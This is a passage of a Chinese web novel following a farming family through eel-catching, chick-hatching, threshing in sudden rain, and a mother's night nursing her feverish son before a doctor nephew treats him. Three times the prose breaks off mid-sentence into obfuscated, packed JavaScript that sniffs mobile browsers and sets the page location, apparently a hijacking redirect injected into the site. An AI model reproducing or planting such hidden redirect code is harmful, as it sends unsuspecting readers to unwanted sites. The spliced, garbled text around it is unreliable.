酸就酸吧，比起平淡无奇的饭菜，酸也是难得一见的美味。每到这个节气青色的李子就开始酸倒孩童们的牙齿，以至于很久之后长大了，青叶才知道原来李子不是青色的时候吃，应该等到熟到黑红了，味道也不是酸涩的，而是甜甜的带点酸。 不过丛五老爷家的两颗李子树是等不到熟透就遭了小子们的毒手，以至于李子能酸倒牙的念头占据了青叶的整个孩童时期，长大后印象深刻，不可磨灭。李子吃多了，晚饭捏着筷子欲哭无泪，一口小米牙被酸得豆腐都咬不动，更何况是米饭。 惹得杏娘气极了骂自家的三个傻蛋：“叫你们嘴馋，耗子不留隔夜粮，这下知道厉害了吧，年年哭年年吃，真是记吃不记打。” 除了弟弟们捡来的李子，青叶另有一条吃李子的门路。 玉陵县农户家灶台用的柴火，除了逢年过节办红白喜事时用的是整棵树劈的之外，平时用的是稻草、油菜杆、黄豆杆等各种农作物草杆。别的还好说，只有稻草杂乱无章，又短又细，占地不说还不好拿取。 勤劳的庄户人创造出一种工具——搞棍，由一个套筒、一根一头略尖的弯曲的竹条和一根绳弦组成的像一张弓的物件。用搞棍扭出来的草把子既经久耐烧，又易堆放、拾取。 扭把子时需要两个人配合，一人坐着放把子，将稻草套在搞棍头上，缓缓放出去。 一人站着手拿搞棍从左到右慢慢旋转，同时小步往后退，把稻草扭结实。放把子的人续草要及时，松紧要掌控，差不多有一人多高的长度时，把手里的稻草收尾扎紧，双手互折，盘绕成一个首尾扎实，麻花形状的草把子。 随着搞棍“吱呀吱呀”的转动声，一垛垛的稻草变成整齐有序的草把子堆放在灶房屋檐下。 到了适婚年龄的少年男女相看时，女方父母到男方家里“访亲”，看见堆放得整整齐齐的草把子，屋子收拾得井井有条，嘴上不说，心里点头：是个过日子的人家，值得结亲。 扭把子是一件非常枯燥无聊的事情，放把子的人可以坐着，如果是另一个大人扭把子的话也可以坐着。躬着身子伸长胳膊，勉强可以坐在椅子上完成一个草把子全长的扭动。但是通常男性长辈有别的“大事”要做，不屑此等“微末小事”。 于是如青叶这般大的女童就成了扭把子的最佳人选。一来同样大年龄的男孩不长性，走四五个来回就扔搞棍不干了。更大些的如丛小八、小九，那更是听不懂人话的年纪，大人说话尚且毫不理睬，眼角都不夹一下。 二来女孩性格柔软易哄，如青叶，一把果子，一块糕点，再柔声请求一番，她就屁颠颠的去了。 不过青叶自个是不肯承认去五奶奶家扭把子是为了口吃的，她主要是为了听故事。不同于丛三奶奶或命令，或威胁的手段，五奶奶嘴里的故事可太精彩，太吸引人了。 有兄弟争家产的故事：在很远的地方有一家农户，父母过世了分家产，聪明的哥哥占了家里的银子、屋子和农田，只分了笨蛋弟弟一块荒地和一条老狗。被赶出家门的笨蛋弟弟没办法，只得栓了老狗犁荒地。没想到老狗一边拉屎一边犁地，竟把荒地变成了良田，种了稻谷收的粮食比哥哥还多。 聪明哥哥知道了这个秘密后把老狗偷走犁自家的地，没想到老狗一动不动不肯走，活生生被哥哥抽打死了。笨蛋弟弟伤心欲绝，捡回老狗的尸体埋在地头，第二天坟头长出了一颗高大的树。哥哥知道后又把树砍了，弟弟把树拖回家打了一张柜子。 哥哥趁着夜色把柜子偷回家，结果半夜起来上茅房时摔了一跤，被柜子压死了。笨蛋弟弟得到了父母留下来的全部家产。 还有仙女下凡的故事：天上的仙女下凡玩耍，洗澡时被凡人偷走了衣裳，只得嫁给凡人为妻。但是当凡人实在是太苦了，每天有干不完的活，吃不饱穿不暖。她就不停的哭呀哭，直哭得眼泪流成了一条又宽又大的河，她也回不到天上去了…… 在五奶奶娓娓道来的故事中，堆成小山的草把子缓缓扭完了。 青叶觉得五奶奶厉害极了，她脑海中的故事源源不绝，一个接一个。她听得入了迷，丝毫不觉得站着来回走动扭把子是件枯燥的事，而且一站就是半个时辰。 等青叶意犹未尽的回到家时，迎接她的是自个奶奶不争气的白眼，她也不在乎，这些故事够她回味好几天的，可太划算了。 …… 趁着油菜杆在暴晒，丛三老爷起早贪黑锄旱田，挖出油菜根带回去当柴烧，土块刨得松软、细碎了好点黄豆。 油菜杆经过几天的晾晒后变得枯黄易脆，脚踩上去发出清脆、短促的“咔嚓”声，菜籽迸裂而出。打谷场上满满的铺了一层厚厚的菜杆，丛三老爷拿了连枷一行行拍打。 两只脚前后岔开站好，身体随着拍打一前一后起伏，连枷旋转着甩在菜杆上。 等到菜杆上的果荚干瘪、空荡，甚至大部分果荚也脱落，用叉子叉了菜杆捆了当柴火，余下的油菜籽、细碎的茎秆叶子连同灰尘一起装进编得细密的箩筐。 选一个起风的傍晚，铲一簸箕菜籽站在小巷的上风口轻轻抖动。油菜籽倾泻而出笔直落在地面上的草席，细小的菜杆碎末随着灰尘在空中飞舞，被风吹着，飘落到下方。 夕阳给点点灰层镀上一层金光，闪闪发亮，戴着草帽的丛三老爷在这光亮里看不清神情，只看见他蹲下、站起的剪影似一幅亘古、久远的水墨画。 装好袋的油菜籽黝黑得如同刷了一层墨，散发出诱人的菜籽油特有的浓郁香味。 即便还没榨成油，那口感已在嘴里品尝过千百遍，这是独属于农户的幸福时刻。双手插入袋中，丝滑、柔嫩的触感令人心醉，他们没见过丝绸是什么样的，但想必最精美的丝绸抚摸起来也不如此刻的陶醉。 丛三老爷出门继续锄地，杏娘打算把最后一捆油菜杆铺好打了。公爹是个干活细致的人，宁肯剩了一捆单独抽打，也不愿堆得太厚怕拍打不干净。 早起天光乍现，应该是个好天气，剩了最后一点菜杆，杏娘想着省事干脆在草席上摊开。吃完早饭才要洗碗，天空突然阴沉下来，乌云压低没有一点亮光，婆媳俩急急忙忙卷了草席抬进堂屋。 过了片刻倾盆大雨猛然砸了下来，丛三老爷顶着湿透的草帽、衣裳冲进家。 “这雨下的可真大，说来就来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457585|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可不是，早起还出了太阳，招呼都不打一声就下起雨来。” 下就下吧，正好在家歇一天。不成想下了一刻钟，雨竟慢慢停了，乌云也逐渐散去露出亮堂的天空，又过了半晌，太阳光重新照射大地，刚才被雨淋得湿透的路面转眼间晒得滚烫，仿佛之前的滚滚大雨只是假象。 俩婆媳又抬了草席摊开，晒到快晌午时杏娘拿出连枷拍打。 才打了一半，大太阳还明晃晃的挂在正当中呢，豆大的雨点子毫无预兆的落下来。恼得杏娘骂娘，这时也来不及收了，菜杆上都是水，草席也是湿的，就是抬进屋子，粘了雨水的菜籽也易霉坏。 干脆一鼓作气全打出来，太阳雨下不了多久，过一会雨停了继续晒。 杏娘憋着一口气继续拍打连枷，雨帘冲刷得眼睛都睁不开。等感觉都脱粒了，她几个跨步跑进大门，前脚刚踏上门槛，后脚雨就停了。 杏娘望着又恢复了平静的打谷场，呵呵冷笑：“作死的贼老天，专跟我过不去。”转过身回房换衣裳。 就像孩童唱的歌谣：出太阳，下白雨，下来下去没得雨。所幸剩下的这点菜杆是铺在草席子上的，油菜籽不会被雨水冲到地上，叉走湿透的杆子，晾晒一下午草席子也就干透了。 这事被英娘知道了好一顿嘲笑：“你们这些勤快人这次踢到铁板了吧，让你们一天都不休息，天天就知道忙、忙、忙，老天爷都看不下去了。” 接着又说起垄上的好几户人家今天都跟唱戏似得，搬进搬出的忙活，油菜籽不知掉了多少，全浪费了。他们这种懒人还占了便宜，收起来就懒得再摊开，正好不用瞎忙。 杏娘懒得理会她的嘲讽，她家的小鸡要破壳了，哪有时间搭理旁的事。 还是早上去猪圈给母鸡添加食水的时候发现的，黄色的小脑袋在母鸡身下探头探脑。有的羽毛已经干透，毛茸茸的，有的还是半干，浑身的毛贴着身体，趔趄着站不稳，颤颤巍巍地东倒西颠又躲进母鸡的翅膀下。 这些小鸡想必是晚间孵化出来的，还有一半的蛋没反应，母鸡依旧勤勤恳恳地蹲在鸡窝里不动。 杏娘心里乐开了花，过两天所有的小鸡就都破壳了，他们家再也不用花银子买鸡蛋，到了年底还有鸡肉吃，这世上再没有比这划算的买卖。 她欢喜的走去新搭建的鸡棚，拿着扫把里里外外清扫一遍，又给鸡窝里垫上干枯的稻草，万事俱备只欠东风。 杏娘在这边笑歪了嘴，英娘在那边欲哭无泪。 她家的母鸡早跑得不见踪影，箩筐里别说小鸡了，连根鸡毛都找不到。 十几个鸡蛋静悄悄卧在那里，有的孵出了小鸡，但不知什么原因，蜷缩在破碎的蛋壳里没出来死了；有的蛋破了，蛋黄流到稻草上，染黄了一大片；有的无声无息立着，拿起来一摇晃，水流摇晃的声音传入耳内，显见是坏了。 杏娘看到英娘提着箩筐过来，欢喜招手：“总共十五枚种蛋，活了十三只小鸡，坏了两枚蛋，我厉害吧？云娘都说她坏的蛋比我多，你呢，破壳了几只小鸡？” 英娘面无表情把箩筐往她跟前一杵，杏娘兴冲冲低头去数。 “……嗯，你这全军覆灭，也算是天大的一件本事了。” 英娘扯动脸皮回她一个皮笑肉不笑的表情。 27. 第 27 章 英娘孵了一回小鸡，堪称血本无归，母鸡也撒丫子不知跑到哪个犄角旮旯里去了，杏娘也实在是好奇她到底是怎么做到的。 “我也没干什么啊！”英娘有气无力地回忆，“最开始我也是把箩筐放在猪圈的，哪成想猪圈漏雨，把母鸡浇成了落汤鸡，幸亏发现的早，要不然那些种蛋也全泡了汤。接着把鸡窝挪到杂物房，这下总该好了吧！” “结果该死的老鼠半夜偷蛋，跟母鸡大打出手，鸡毛飞了半间屋子……没办法，只得又把鸡窝搬到了重新修整过瓦片的猪圈。就这么搬来挪去的换了几次位置，母鸡撂挑子不干了，整天咋呼着翅膀找吃的，孵半天歇半天，最后就这样了……” 还不等英娘说完，杏娘已经笑得直不起腰：“哈哈！你真是……你太厉害了，别人家难得碰上一件的倒霉事，到你这全齐活了。” 她一边疼的揉肚子，一边笑叉了音：“云嫂子不是交代过，孵小鸡的母鸡不能受到惊吓，它一旦受了惊就不趴窝了。” 英娘一脸无辜：“我是没打扰它啊，惊到它的可不是我，我能怎么办？” 杏娘笑得更厉害了，笑着笑着，看对方两眼炯炯有神的盯着自个，顿感不妙：“呵呵！这就是天意，是吧！老天爷都知道你不缺鸡蛋吃，替你省事了，多好！” 英娘嘴角一弯，露出一口白牙：“你不用跟我说这些有的没的，咱俩什么交情，你忍心看我这么凄惨？” 杏娘沉吟不语，看她这个架势，今天不出血是不行了，一只拿不出手，“我家的小鸡给你两只吧！” “这也太寒碜了，两只太少了，最少五只。” “不行，你也太狠了，你家几口人，我家多少人，我家的小鸡还不够用呢。” 两人你来我往讨价还价一番，杏娘舍出去三只小鸡，她忍着肉疼自我安慰：“希望剩下的十只里母鸡多一些，一只公鸡就够了，好歹到了年底还有十只鸡呢。” 显然这只是一个美好的奢望。 刚出壳的小鸡赢得了青叶全部的欢心，嫩黄的小绒毛，摸起来柔软、舒服得好像拽了一朵云，“啾、啾”稚嫩的叫声听得人心软成一滩水。 若不是杏娘强烈反对，青叶恨不得搂了小鸡崽到床上睡。 …… 天气越来越热，夹衫换成了单衣，小子们热得脚上穿不住鞋，光着脚丫子满地乱跑，捂了一个冬天的白脸蛋初显黑红。 青叶想抓黄鳝的心越发热切，终于迎来大爆发：“我不管，我就要抓鳝鱼，何竹都去了，凭什么我不能去？”想是委屈的很了，话到尾声带了哭音。 杏娘无言以对，向来对女儿管教甚严的云娘都妥协了，她也没了招，“让你去也可以，不过不能去河边、水沟里找，只能围着水田走。” 青叶忙不迭答应，只要能去抓鳝鱼，这都不是问题。从早晨盼到下晌，这一天过得实在是太慢了，慢到青叶恨不得扯了太阳从东边拽到西边，再把月亮拖出来挂上。 好容易暮色四起，倦鸟归林，青叶忙催促她娘制作火把。当下走夜路的人若是碰到有月亮的晚上，明亮的月光点亮路人远行的步伐。要是黑漆漆伸手不见五指，那就做一个简易火把。 杏娘拿出家里的烧火棍，在顶端胡乱缠上家里没用的破烂布条，再奢靡些淋一点菜籽油，“拿着，就在河对岸的田边找，我一喊你就要回来，不许走远了，听见没？” 青叶点头应下，一手举火把，一手拿洗菜用的浅口竹筛，雄赳赳气昂昂踏出家门。后面跟着矮了一头的小尾巴丛青皮，身上斜背着一个小鱼篓，鱼篓是葫芦形状，怕他矮小背不动，丛三老爷特意按照孩童身高编织而成。 两人过了石桥走到河对岸的农田，沿着田埂边缘仔细寻找。田里的秧苗扎稳了根系，一簇簇井然有序竖立着，在夜间的水面显得格外神采奕奕，生机盎然。 抓鳝鱼也是需要技巧的，走路声音不能太大，火把擦过水面，水蜘蛛快速滑过，水底的一切一目了然。运气好的话，鳝鱼的整个身体静悄悄横在水田里，长长的一条黑影，无须费力寻找就能看到。 也有的鳝鱼把身体钻进烂泥巴里，只露出一个小小的黄脑袋探出水面，除非眼力特别好，能准确分辨鳝鱼脑袋和田里的枯黄落叶，否则很难捉到。 更有倒霉的，远远看到一坨盘成一圈一圈的圆形物体，那都不用仔细看，肯定是蛇无异。大踏步走开就是，不要惊扰到它，若是眼疾手快不小心抓起，那也甩手扔掉，有多远扔多远。 逮鸟捉鱼的老手仅凭一根手指就能抓住鳝鱼，伸出右手四指蜷缩中指弯曲，快速插入水面用中指箍住鳝鱼脑袋下面的部位。任凭鳝鱼使出浑身解数摇头摆尾地挣扎，也逃不脱紧紧锁住的手指。 青叶是没有这个能耐，不过山人自有妙计。 她将竹筛轻轻插入水中，即将靠近鳝鱼时连泥巴带鳝鱼一锅端。 舀了鳝鱼就往鱼篓倒，动作慢了可就跳出来了，再想抓住就难了。先不说鳝鱼逃到水田中央不好找，这一路趟过去踩到秧苗可不是闹着玩的。就说以她这个小身板，在这种满是污泥的田里走两步就陷进去拔不出腿脚。 索性姐弟俩配合默契，青叶一端起竹筛，青皮就转过鱼篓身子前倾，“姐姐，这里。” 水底的污泥上涌，水面变得浑浊，这块地方不适合寻找了，迈开脚步往前走。姐弟俩绕着田埂转圈，低着头看得太仔细，以至于有火光靠近也没察觉。 “青叶，你们抓了多少？” 青叶直起身子抬头：“周邻，我们走了三块水田，抓到了五条。”声音里带着显而易见的得意。 “嗯，不错！”周邻忍俊不禁，笑着开口，“在水田能抓这么多鳝鱼，很厉害，不过最好是去水沟里水草多的地方找，那里鳝鱼多。” 看青叶噘嘴巴一脸郁闷，两个小豆丁往那一站还没门栓高，念头一转明白过来，“不过你们两个小的还是沿着田埂找吧，水沟里水深，就是看见了也抓不着。朱家的几个小子快把这片的水沟翻了个底朝天，你们去了也没用。” “你呢？抓了几条？”青叶举着火把上前，低头往他的鱼篓看去，只见黑压压挤了半篓。鱼篓里东西很杂，鳝鱼混杂在一起，几个青绿色的大田螺，还看见肥胖泥鳅钻进钻出的身影…… 青叶羡慕地流口水：“你可真厉害，抓了这么多，我要是能抓这么多鳝鱼，我娘就不会不让我出来了。” 田野里寂静无声，甚至能听见稻禾的叶子被微风撩动细微的簌簌声，不知名的虫子唧唧响个不停，更添了几分恬静。 周邻略一沉吟：“我有一个抓鳝鱼的好法子，你想不想知道？” “什么法子？”姐弟俩异口同声迫不及待开口。 “你注意一下，要是哪几天连着一直下雨，后面突然放晴暴晒了一天，那这天晚上的鳝鱼就会特别多，是抓鳝鱼的最好时机。” 下雨、晴天，青叶记下重点，跟他道谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457586|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“多谢你的法子，我记下了。”此时杏娘的呼喊声从河对岸传来，姐弟俩告别，“我娘喊我们回家，先走了。” “慢点走，别踩到水田里去了。” “知道！” 杏娘看着鱼篓里的五条黑影，颇有些嫌弃，“就抓了这么几条啊，炒一盘还不够我们全家一人分一条的。” 抖擞着两个小家伙换下的衣裳，更加不高兴，“看看，不要你们去吧，非要去。衣裤上都是泥点子，搓都搓不干净，还要拿棒槌使劲敲，敢情干活的不是你们是吧？吃你一条鳝鱼，使唤我锤半天。” 青叶自知理亏不吭声，她明明很注意不弄脏衣物，可身上到处都是溅落的烂泥巴，也不知道什么时候弄上去的。 “等着瞧好了，我一定要抓到很多鳝鱼。”她在心里暗暗发誓。 从这天起，青叶就日盼夜也盼的希望下雨，只有下雨才有天晴嘛。她娘也是如此，下一场雨好点黄豆。 就在母女俩的期盼当中，雨没有下下来，气温却骤然转了个弯，急转直下，一夜冷风呼啸，冷得把箱子里的薄被子又拖出来盖上。 杏娘还是半夜发现不对劲的，自男人离家，她就把大儿子也抱过来，娘三一张床上睡。睡得迷迷糊糊中感到冷，她蜷缩起身体，又似乎听到若有似无的粗重喘息，她猛然惊醒一把坐起。 黑暗里只听到杏娘大口喘气，她调匀了呼吸仔细聆听，睡在旁边的老二似乎发出含糊不明的呓语，摸索着把手伸过去，额头一片滚烫。 杏娘急忙爬下床点亮油灯，青皮缩在床中间瑟瑟发抖，满脸通红，嘴皮子烫的起了皮。 她匆忙穿好衣裳，打开房门朝东厢房跑去，“砰砰砰”一通捶门。 “谁呀？” “娘，老二发烧了，麻烦您起来烧一锅开水。” 听到窸窸窣窣的起床穿衣声，杏娘转身跑回房，桌上只有冷掉的茶水，这时候也顾不得了，抱着青皮半坐起身喂水：“乖宝儿不怕，娘在这呢，乖，嘴巴张开喝一点水，喝了就不难受了。” 撬开青皮紧抿的嘴巴喂进半盏水，陈氏系着盘扣走进来，“谁发烧了？大半夜的怎么发烧了？”跟在后头的丛三老爷不便进房，转身去灶房烧水。 看见杏娘在喂水，脚跟一转又走了出去，片刻后拎着一块湿布巾进来就要往青皮额头贴，让杏娘给拦住了。 “娘，老二还小，要用温水敷。” “这都什么时候了还在这瞎讲究。”陈氏没好气的埋怨，“白天还好好的，怎么大半夜的发起烧来？你到底是怎么看孩子的？” 没有照顾好孩子，青皮半夜发烧了自个都不知道，杏娘本就理亏，被骂了也只得忍气吞声。 “娘，你来搓老二的手，我来搓脚，搓热了就好多了。”杏娘放平大儿子，抬起一只脚使劲揉搓。 陈氏抓了大孙子的一只手揉捏，搓了还没两下又开口数落：“老二本来跟我们睡得好好的，你偏要抱过来，抱来了又照顾不好，你说说，你这不是瞎折腾是什么？” 杏娘一口气憋得胸口疼，实在没忍住开口道：“娘，您去看看爹是不是把水烧好了，水开了给我端一盆兑好的温水过来。” 陈氏看她一眼，杏娘低头避开她的目光，陈氏冷哼一声甩手走了出去。 搓着大儿子冰凉的脚丫子，杏娘轻声呢喃：“没事的，别怕，娘在这呢，不会有事的。” 话音未落，泪珠自通红的眼里滚落。 28. 第 28 章 丛三老爷烧好水，杏娘兑了半碗温开水喂给青皮，在他额头敷一块温热的布巾。另拿一块布巾绞了温水不停擦拭他的脖颈、手腕、脚腕和大腿根。 忙碌了半晌，青皮的手脚逐渐暖和，喉咙里的喘息不再粗重，滚烫的额头变得温热，杏娘长出一口气。 她丝毫不敢耽误，仍旧打湿布巾绞的半干，一抬头发现陈氏掩嘴打了个大大的哈欠，“娘，您也去睡吧，老二看着好些了，我一个人就能应付。” “你一个人能行？要不我还是陪着吧。”陈氏犹疑地问。 杏娘继续擦拭手腕，“没事的，您放心，天一亮我就去镇上找我侄儿，离天亮也没几个时辰了。我年轻经得住，您不要熬坏了身子骨，今天老大跟老幺还要您来看顾。” “那好吧，我就先去睡了。”陈氏又打了一个哈欠，捶着后腰走出房间，“人上了年纪，确实熬不动了，我这腰疼又开始犯了。” 耳边传来关门声，杏娘面色无波地给青皮额头的布巾换一面，温柔碰触他通红的小脸蛋，内心满是懊悔。 老话说老大宠,老三惯,老二受气倒霉蛋，相比于大女儿和小儿子，她确实忽视老二甚多，尽管是无意识的。 老大是第一个孩子，天然就受关注，还是唯一的一个女儿，眼里心里都会特意留神；老三是最小的，调皮捣蛋，天生的闯祸头子，每天不是在挨巴掌就是在挨巴掌的路上，更是耗尽心思。 只有夹在中间的老二不声不响，既不特别出众讨人喜欢，也不惹是生非让人心烦。因不是格外受重视，养成了老二不爱说话，安静内敛的性子，认真听大人吩咐，让干什么就干什么，从不顶嘴。 这样的孩子无疑是让人放心的，出不了大错，自然无形中让人忽视了他的存在。尽管杏娘内心深处对三个孩子一视同仁，在吃穿上从不偏颇，但是有时候还是会下意识做出选择。 譬如老二从小走亲戚的次数就比另外两个少，杏娘是个要强的性子，不想拖着三个孩子吃席让人看笑话，被留下的那个自然就成了青皮。 当娘的都这样理所当然了，其他人更是若有似无的缺少了对这个孩子的重视。 越想越心痛，杏娘抹一把满脸的泪水，告诫自己一定要改，都是自个生的孩子，怎么还分出个高低上下来了。 这一夜的灯光格外昏暗，朦胧得看不清人的眉眼，窗外面的公鸡打鸣声不知响起了几轮，黑暗始终笼罩着这片原野。 杏娘又去灶房打了几次热水，灶膛的余火烘烤着铁锅里的温水，湿布巾冷了又热，热了变凉，墙壁上印出她忙碌、孤单的身影。 天蒙蒙亮时，杏娘给青皮穿好衣裳用薄被裹紧，咬牙一把抱起拍响了周老爷子家的大门。 …… “小姑，不用担心，已经吩咐药童去煎药了，等上片刻就好。”李苏木替青皮盖好被子，转身扶了杏娘在一旁的椅子坐下，“他就是天气突然转凉着了风寒，吃几副药就痊愈，你别太担心。” 杏娘身体后倾疲惫地靠在椅背上，“怎么可能不担心，你都不知道这一晚是怎么过来的，哪敢阖眼。” 想也知道当娘的不容易，李苏木打量一眼自家小姑。身上穿着一件皱巴巴的薄袄，一头凌乱的秀发胡乱挽了个髻，神情萎靡，眼底一片青黑，嘴巴干枯毫无血色。 他心里满是疼惜，曾几何时，那个一身光亮，神采飞扬的小姑好像停留在了儿时的记忆当中。为人妻，为人母后，一切都身不由己。 “小姑，你在这等一下，我去去就来。”李苏木站起身走出医馆隔间。 天空还是阴沉沉不见光亮，保安堂旁边的小巷子一片繁忙。包子铺的蒸屉里散发出诱人的香味，笼盖一揭开，热腾腾的水汽瞬间弥漫，恍若仙境。 对面的老夫妻各自忙碌，一人收拾碗筷擦桌子，一人从沸腾的锅中舀起个头小小的馄饨倒入调好料的碗中，最后撒一撮小葱，香味扑鼻，锅底下的炉子冒出猩红的火光，噼啪作响。 天色还尚早，路上三三两两的行人买了早点往袖子里一揣，埋头紧走几步拐过街角。临街的铺子里坐了吃面条的壮年汉子，呼噜噜一碗下去，再喝一口热汤，从喉咙口到肚挤眼一路熨烫，赛似神仙。 街面上掉落下几片树叶，被风卷着翻滚得不见踪影，越显萧条。 李苏木抱着一个食盒冲进来，轻轻推醒靠在椅背上打盹的杏娘，“小姑，我买了些早点，你先垫一下肚子。” 揭开食盒拿出里面的东西一一摆好，一碗白嫩嫩的豆腐花，一碗汤面，油条、锅盔、油饼还有茶叶蛋各数个。 杏娘睁开惺忪的睡眼，伸懒腰打了个哈欠，“我怎么睡着了？” 看着眼前摆了一案几的早点，“怎地买这么多？”她拿起一张锅块咬一口，“唔，好久没吃到这么热乎、脆生的锅盔了。” 这是一种本地特有的面食，发酵过的面团揪成一个个小剂子，在里面包裹上肉馅，用擀面杖按压成圆形薄饼。一面抹清水，另一面撒上白芝麻，贴于底部有炭火的圆柱形瓮桶内壁，烤至酥脆再涂抹上酱料即可。 之前李老爷子每次外出办事回来从不空手，零嘴点心可劲买了给她，等到成了婚，一年倒是难得吃上几次。 李苏木端了豆腐花放在她面前，自个捧起汤面，“这个是你爱吃的，我要店家加了白糖，每样都尝一下，能吃多少吃多少，我也没还吃早饭呢。” 杏娘舀一勺豆腐花，细腻丝滑的口感刺激着味蕾，入口即化，甜丝丝中散发出浓郁的豆香。不吃不觉得饿，一旦有食物进了肚竟停不住筷子，等她放下勺子擦嘴巴时，已吃下一碗豆腐花，两个茶叶蛋加一张锅盔。 李苏木一碗汤面下肚就饱了，看她吃得香甜，心里不由高兴。 “熬一晚上饿过了头，没想到吃了这么多，一吃就管不住嘴了。”杏娘自嘲地打趣自己。 “小姑，等青皮吃了药，你俩去我家里眯一觉吧，正好吃了晌午饭回去。婉儿娘俩在家也没人说话，你睡醒了还能跟她唠唠嗑，我送你们过去再回来医馆，反正离得近，不耽误什么。” 杏娘没有立刻答应，反而问道：“吃了药能不能退热？我摸他的额头还是温热的，昨天晚上更是烫的厉害。” “今天怕是不能。”李苏木在青皮的额头上摸了摸，又按在手腕上把脉，“风寒没那么快痊愈，总要吃几天药才好，幸而高热退了，现在只是低烧。小孩子低烧不打紧，不用害怕。” “怎么可能不怕？”杏娘苦笑，抬手按压鬓角缓解困意，“你又不是不知道，乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457587|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下农户家里，哪个村没有个把痴傻呆子。一辈子受人欺辱磋磨，爹娘也跟着遭罪，一大半是小时发热烧坏了脑子，疯疯癫癫过一生，看着都怕。” 李苏木叹一口气，不在一个村里住着，爷奶就算想帮小姑一把也够不着手。 当初就不应该把小姑嫁到别处去，在家门口找一户人家多好。再不济，干脆招个上门女婿得了，他们李家又不是养不起这几口人， 不过现在可不是说这些泄气话的时候，“等孩子再大些就好了，慢慢来，青皮好了把三个孩子带回去给爷奶瞧瞧，他们想念的很。” “嗯，知道。”杏娘点头应下，说起起他先前的提议，“这次就不去你家歇息了，你的好意我心领，还有两个在家，就是睡也睡不安稳，还不如回家睡得踏实。” 李苏木也不强求，一时喂青皮喝下一碗汤药，递给杏娘四包系好的药材。 “一包今天晚上煎了给青皮喝一碗，另外两包吃两天，每天早晚一次。第三天若是好得差不多了，不吃也可以。最后的这包是备用的，若是下次孩子发热，先煎了喂下去，过后再来找我也来得及。” 杏娘接过药材包点头应下，掏出钱袋转身往柜台走，被李苏木一把拦住，眉毛一皱满脸不悦，“你这是做什么，还要你掏银子我成什么人了，往后也不必回家见爷奶。” 杏娘推开他的手，神情严肃，“在这个医馆里，就是天王老子来了，你也只是个小李大夫。有些事情一开始就要立好规矩，丁是丁卯是卯，一厘一毫都要算的清清楚楚。我家的教训你还没看明白，稀里糊涂做好人最后摔得满头包。” 像是想起什么，她一笑，接着说道：“不单是我，就是我们老李家的那些男女老少，甭管谁来，你就只负责看病开药方，余下的一概不管，自有医馆的学徒接手。这个医馆到底姓沈，不姓李，规矩立好了才易行事，要不怎么说万事开头难。” “老李家也还好说，那不是还有一大堆的七大姑八大姨，丈母娘小舅子的，免了这家的诊金，那家的要不要了，要的话怎么对得起亲戚。索性全部一视同仁，偶尔人家不凑手，你免一次费用，人感激涕零，满口称赞；你要是一开始不收诊金，后面按照正常的来，别人只会破口大骂，说你富贵了就忘了父老乡亲。你说说，你选哪个？” 一番话说得李苏木摇头失笑，小姑从小就偏颇他，长大了也还是事事替他着想。 “小姑，你别说了，今天的药材钱你来付，我不拦你。但是诊金我一定不能要，你不是别的不相干的人，你是我小姑，说破天去我也只认你这个小姑。你要是真怕我吃亏，不如把你家的酱菜送我一坛。” “你又不是不知道，我这个人怕热不怕冷，一到热天就吃不下饭，就着你做的酱菜且能刨两碗。” 知道他打定了主意，她说什么都没用，杏娘也就没辜负他的好意，“行，等天热了我亲自给你送来，每年热天的酱菜小姑都给你包圆了，别的没有酱菜管够。” 李苏木抱着青皮送母子俩上船，临上岸时往杏娘怀里塞了一个油纸包，“这是早上没吃完的早点，青叶、青果两个没吃上，你带回去给他们。” 说完一个踏步跳上岸。 杏娘一脸满足的笑容，揽着大儿子朝他挥手作别。 29. 第 29 章 母子俩到家时众人吃完早饭不久，杏娘把青皮放到床上盖好被子，青叶、青果急慌慌踩掉鞋子爬上床趴在他左右两边。 一个轻声问：“青皮，你好些了么？还疼不疼？”说完用手轻轻碰触他的额头。 一个脆生生嚷：“哥哥，我给你吹吹，吹吹就不疼了。”鼓起腮帮子撅着红润润的小嘴巴朝他脸上使劲吹气，唾沫星子喷了青皮一脸，吹的他睁不开眼。 吃了药青皮精神好多了，尽管还没完全退热，脸色也有些苍白，却有力气跟姐姐、弟弟打闹。他露出一个腼腆的笑容，软软的，轻轻拨开弟弟的大脑袋，躲开他的口水荼毒。 青果自是不依，大脑袋埋在他的脖颈拱来拱去，逗得小孩哈哈大笑。 看姐弟三在床上嬉笑耍乐，杏娘嘴角不自觉露出笑意，身体是疲倦乏力的，心里却异常满足。昨晚的惊惶、焦虑、惧怕消失的无影无踪，所谓如人饮水冷暖自知，不过如此。 她转身出了房间往灶房走去，老二生了病肠胃差，最好吃一些清淡好克化的。 